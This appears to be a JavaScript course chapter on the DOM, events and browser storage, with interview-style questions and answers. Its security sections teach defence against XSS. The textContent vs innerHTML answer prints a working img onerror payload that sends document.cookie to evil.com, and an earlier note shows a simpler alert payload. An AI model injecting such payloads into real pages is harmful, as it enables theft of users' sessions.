Skip to main content

DOM & Browser APIs

The Document Object Model (DOM) is a tree-like representation of your HTML. JavaScript can read, modify, and react to changes in the DOM. This is what makes web pages interactive. Think of the DOM as a living family tree of your HTML document. The <html> tag is the root ancestor, <head> and <body> are its children, and every element nested inside them is another generation in the tree. When you use JavaScript to manipulate the DOM, you are reaching into this tree, grabbing a specific branch (element), and changing it — adding a leaf, removing a branch, or repainting a node. The browser then re-renders the visible page to match the new tree. Understanding this tree structure is the key to understanding everything in this chapter: why some operations are fast and others are slow, why event bubbling works the way it does, and why you need to be careful about when and how often you modify the DOM.

1. Selecting Elements

Modern Methods

Legacy Methods (Still Useful)

Best Practice: Use querySelector and querySelectorAll for flexibility — they accept any CSS selector. The one exception: getElementById is marginally faster for ID lookups in performance-critical paths. Also note: getElementsByClassName returns a live collection (it updates when the DOM changes), while querySelectorAll returns a static snapshot. This subtle difference can cause bugs if you modify the DOM while iterating a live collection.

Selector Methods — Complete Comparison


2. Traversing the DOM

Navigate relative to an element. Think of it like navigating a family tree: you can go up to parents, down to children, or sideways to siblings.
closest() is incredibly useful for event delegation. When a user clicks a deeply nested element (like a <span> inside a <button> inside a <li>), you can use event.target.closest('.list-item') to find the nearest ancestor that matches your selector, regardless of how deep the click landed.

3. Modifying Elements

Text and HTML Content

Security: Never use innerHTML with user-provided input. If a user submits &lt;img src=x onerror="alert('hacked')"&gt;, it will execute as HTML and JavaScript. This is a Cross-Site Scripting (XSS) attack. Use textContent for user content (it escapes HTML automatically), or use a sanitization library like DOMPurify for cases where you must render HTML.

Content Properties — When to Use Which

Attributes

Classes

Styles


4. Creating & Removing Elements

Creating Elements

Inserting Elements

Removing & Replacing


5. Event Handling

Adding Event Listeners

The Event Object

Event Properties — target vs currentTarget

Event Delegation

Instead of adding listeners to many elements, add one to a parent. This works because events “bubble” up the DOM tree — a click on a child element also triggers click handlers on all its ancestors. Think of it like a security camera at the entrance of a building: instead of putting a camera in every room (one listener per element), you put one at the front door (one listener on the parent) and check the badge of whoever walks through (check event.target).
Why delegation matters in practice: If you build a dynamic list where items are added and removed (a chat app, a todo list, search results), event delegation means you never have to worry about attaching/detaching listeners when the list changes. The parent listener catches everything.

Common Events


6. Browser APIs

Local Storage

Persist data in the browser (survives page refresh and browser restarts).
localStorage limitations: It is synchronous (blocks the main thread during read/write), limited to roughly 5MB per origin, and stores only strings. Never use it for sensitive data (it is not encrypted and accessible to any script on the page). For larger or more structured data, consider IndexedDB.

Browser Storage — When to Use Which

Fetch API

Make HTTP requests (covered in Async chapter).

Geolocation

Intersection Observer

Efficiently detect when elements enter/exit the viewport. Before this API existed, developers used scroll event listeners with getBoundingClientRect(), which was expensive and caused jank. The Intersection Observer runs off the main thread and is dramatically more performant.
Common uses for Intersection Observer: lazy-loading images (load only when they scroll into view), infinite scroll (load more content when user reaches the bottom), scroll-triggered animations, and analytics tracking (measuring how far users scroll).

Clipboard API

History API

Manipulate browser history for Single Page Applications (SPAs). This is the low-level API that libraries like React Router and Vue Router use under the hood.

7. Forms

FormData

Validation


Summary

The DOM is your interface to the web page:
  • Selection: Use querySelector and querySelectorAll.
  • Modification: Change text, attributes, classes, and styles.
  • Creation: createElement, append, insertAdjacentHTML.
  • Events: Use delegation for better performance.
  • Browser APIs: Storage, Geolocation, Intersection Observer, etc.
With these fundamentals, you can build dynamic, interactive web applications!

Course Complete

You now have a solid foundation in:
  1. Fundamentals — Variables, types, and control flow
  2. Functions and Scope — Closures and higher-order functions
  3. Objects and Prototypes — The JavaScript object model
  4. Async JavaScript — Promises and async/await
  5. Modern JavaScript — ES6+ features
  6. DOM and Browser APIs — Building interactive web pages

What’s Next?

  • Practice: Build projects. A todo app, weather app, or portfolio site.
  • Frameworks: Learn React, Vue, or Angular.
  • Backend: Explore Node.js for server-side JavaScript.
  • TypeScript: Add static typing to your JavaScript.

Interview Deep-Dive

Strong Answer:
  • When an event fires on a DOM element, it goes through three phases. Phase 1 (Capturing): the event travels DOWN from window to document to the root element, through each ancestor, down to the target element. Phase 2 (Target): the event reaches the element that was actually interacted with. Phase 3 (Bubbling): the event travels back UP from the target through each ancestor to window. By default, addEventListener registers handlers in the bubbling phase. Passing { capture: true } registers in the capturing phase.
  • Event delegation exploits bubbling: instead of attaching a listener to every <li> in a list, you attach one listener to the <ul>. When any <li> is clicked, the event bubbles up to the <ul>, and you use event.target (or event.target.closest('.item')) to identify which item was clicked.
  • Why delegation is preferred for dynamic lists: (1) Performance — 1 listener instead of N listeners. For a list of 10,000 items, that is 9,999 fewer event handlers consuming memory. (2) Dynamic elements — items added after the listener is attached are automatically covered because the parent listener catches bubbled events from any child. Without delegation, you must manually attach/detach listeners every time the list changes. (3) Cleanup — one listener to remove instead of N.
  • The gotcha: not all events bubble. focus, blur, mouseenter, mouseleave, load, and scroll (on elements) do not bubble. For these, use the capturing phase ({ capture: true }) or use their bubbling counterparts (focusin/focusout instead of focus/blur, mouseover/mouseout instead of mouseenter/mouseleave).
  • Production pattern I rely on: attaching a single delegated click handler at the document.body level with data-action attributes on elements. document.body.addEventListener('click', (e) => { const action = e.target.closest('[data-action]')?.dataset.action; if (action === 'delete') handleDelete(e); }). This is the pattern Stimulus (Rails) and some lightweight frameworks use.
Follow-up: What is event.stopPropagation() vs event.stopImmediatePropagation(), and when would stopping propagation be a mistake?stopPropagation() prevents the event from continuing to parent elements (stops bubbling or capturing), but other listeners on the SAME element still fire. stopImmediatePropagation() stops propagation AND prevents other listeners on the same element from firing. Stopping propagation is often a mistake because it breaks event delegation. If a modal component calls stopPropagation() on clicks, and a parent component uses delegation to detect “click outside to close,” the delegation listener never fires because the event never reaches the parent. This creates invisible coupling between components. The better pattern is usually checking the event target in the parent handler rather than stopping propagation in the child. I have seen a production bug where a third-party analytics library attached a click listener to document for tracking, and a developer called stopPropagation() on button clicks inside a dropdown. All dropdown button clicks became invisible to analytics, and the team did not notice for months.
Strong Answer:
  • textContent sets or gets the raw text content of an element. It does not parse HTML — if you set element.textContent = '<b>bold</b>', the literal string <b>bold</b> is displayed, angle brackets and all. It is safe by design because it treats everything as text.
  • innerHTML sets or gets the HTML content of an element. The browser parses the string as HTML and creates DOM nodes. If you set element.innerHTML = '<b>bold</b>', you get actual bold text. This is powerful but dangerous.
  • The security risk is Cross-Site Scripting (XSS). If any part of the HTML string comes from user input, an attacker can inject executable code. Classic example: element.innerHTML = '<img src=x onerror="document.location=\'https://evil.com/?cookie=\'+document.cookie">'. The browser parses the <img>, fails to load src=x, fires the onerror handler, and the attacker’s JavaScript runs with full access to the page’s cookies, localStorage, and DOM.
  • In practice, the rules are: (1) Never use innerHTML with user-provided data. (2) If you must render user-provided HTML (rich text editors, markdown renderers), use a sanitization library like DOMPurify: element.innerHTML = DOMPurify.sanitize(userInput). (3) For building DOM from data, prefer createElement + textContent, or use a framework (React, Vue) that escapes by default.
  • Modern alternative: element.setHTML(htmlString, { sanitizer: new Sanitizer() }) is the Sanitizer API, an in-progress web standard that provides built-in, browser-native sanitization. As of 2026, it has limited browser support, so DOMPurify remains the production standard.
Follow-up: Does React protect you from XSS? What is dangerouslySetInnerHTML and when is it necessary?React escapes all string values rendered in JSX by default. If you render <div>{userInput}</div> and userInput contains <script>alert('xss')</script>, React converts it to escaped text entities, so it displays as literal text, not executable code. This is one of React’s most important security features. dangerouslySetInnerHTML is the explicit escape hatch: <div dangerouslySetInnerHTML={{__html: sanitizedHTML}} />. It is necessary when you must render actual HTML — for example, rendering content from a CMS that outputs HTML, or displaying syntax-highlighted code. The name is deliberately alarming to signal that you are bypassing React’s XSS protection. Even with dangerouslySetInnerHTML, you should always sanitize with DOMPurify first. The __html key is intentionally awkward to type as an additional deterrent.
Strong Answer:
  • DOM manipulation is expensive because the DOM and JavaScript run in separate engines. In Chrome, JavaScript runs in V8, and the DOM is implemented in Blink (C++). Every DOM call crosses the V8-Blink boundary, which has marshaling overhead. Additionally, writing to the DOM triggers the browser’s rendering pipeline: style recalculation (which CSS rules apply?), layout/reflow (where does everything go?), paint (draw pixels), and compositing (layer the painted results). A single element.style.width = '100px' can trigger layout for the entire page if the element’s size change affects siblings and parents.
  • Layout thrashing is the worst-case scenario: reading a layout property (like offsetHeight), then writing (change a style), then reading again. Each read after a write forces the browser to synchronously recalculate layout to return an accurate value. In a loop doing elements.forEach(el => { el.style.height = el.offsetHeight + 10 + 'px'; }), the browser recalculates layout on every single iteration instead of batching. The fix is “batch reads, then batch writes”: read all heights first into an array, then apply all new heights.
  • Framework strategies: (1) Virtual DOM (React): maintain an in-memory representation of the DOM, diff the old tree against the new tree, and apply the minimal set of real DOM mutations. This turns N potential writes into the minimum necessary writes. (2) Reactive fine-grained updates (Solid.js, Svelte): compile templates to direct DOM update instructions at build time, skipping the virtual DOM diffing entirely. Each reactive value is wired directly to the specific DOM node it affects. (3) Template-based diffing (Vue): a hybrid approach where the compiler analyzes templates to generate optimized patch functions. (4) Document fragments: for vanilla JS, create elements in a DocumentFragment (which is not in the live DOM) and append the fragment once. One reflow instead of N.
  • requestAnimationFrame is the other key tool: it batches your DOM writes to execute just before the browser’s next paint, ensuring you are not fighting the rendering cycle.
Follow-up: What is requestAnimationFrame and why should you use it instead of setTimeout for animations?requestAnimationFrame (rAF) schedules a callback to run just before the browser’s next repaint, typically at 60fps (every ~16.6ms). setTimeout(fn, 16) tries to approximate this but has problems: (1) it is not synchronized with the browser’s paint cycle, so animations can stutter or skip frames. (2) The minimum delay in browsers is clamped to 4ms, and for background tabs, setTimeout is throttled to once per second. (3) setTimeout fires even when the tab is not visible, wasting CPU. rAF automatically pauses when the tab is hidden (saving battery/CPU), synchronizes with the display’s refresh rate (works on 120Hz monitors too), and batches with other rAF callbacks for a single layout/paint cycle. For any visual animation (scroll effects, element transitions, canvas rendering), rAF is the only correct choice. setTimeout/setInterval should be reserved for non-visual timing (polling, delayed operations).
Strong Answer:
  • localStorage: synchronous, ~5MB per origin, persists until explicitly cleared (survives browser restarts), string-only key-value storage. Use for: user preferences (theme, language), non-sensitive cached data, feature flags. Avoid for: sensitive data (accessible to any script on the page, including XSS payloads), large datasets (synchronous reads block the main thread), structured data (no querying capability).
  • sessionStorage: identical API to localStorage, but scoped to the tab/window. Cleared when the tab closes. Each tab gets its own isolated storage. Use for: temporary form state (so a user does not lose progress on page refresh within the same tab), single-session tokens, wizard/multi-step form progress.
  • Cookies: sent with every HTTP request to the matching domain (this is the critical difference). ~4KB limit per cookie. Can be set as HttpOnly (not accessible to JavaScript — protects against XSS), Secure (only sent over HTTPS), SameSite (CSRF protection). Use for: authentication tokens (as HttpOnly cookies — the most secure option), server-side session IDs, any data the server needs on every request.
  • IndexedDB: asynchronous, no practical size limit (browser prompts user after ~50MB), supports structured data (objects, arrays, blobs), has indexes for querying, supports transactions. Use for: offline-first apps (storing thousands of records locally), caching API responses with complex querying needs, storing large files (images, documents) for offline access.
  • Decision framework: Does the server need it on every request? Cookies. Is it a simple key-value preference? localStorage. Is it tab-specific temporary state? sessionStorage. Is it structured, large, or requires querying? IndexedDB.
  • Security note: localStorage and sessionStorage are accessible to any JavaScript running on the page. If your site has an XSS vulnerability, an attacker can read everything in localStorage. This is why authentication tokens should be in HttpOnly cookies (which JavaScript cannot read), not in localStorage.
Follow-up: If localStorage is synchronous, can it block the main thread? What happens with a 5MB read?Yes, localStorage operations are synchronous and block the main thread. Reading a 5MB value (which approaches the storage limit) on a low-powered mobile device can cause a noticeable pause — I have measured 50-100ms blocking times on older Android devices for large reads. The browser must deserialize the data from its on-disk storage into memory synchronously. This is why performance-sensitive applications avoid large localStorage values and prefer IndexedDB for anything substantial. IndexedDB is asynchronous and transaction-based, so it never blocks the main thread. If you must use localStorage for backward compatibility but have large data, consider splitting the data across multiple smaller keys and reading only what you need, or lazily loading the data after initial render.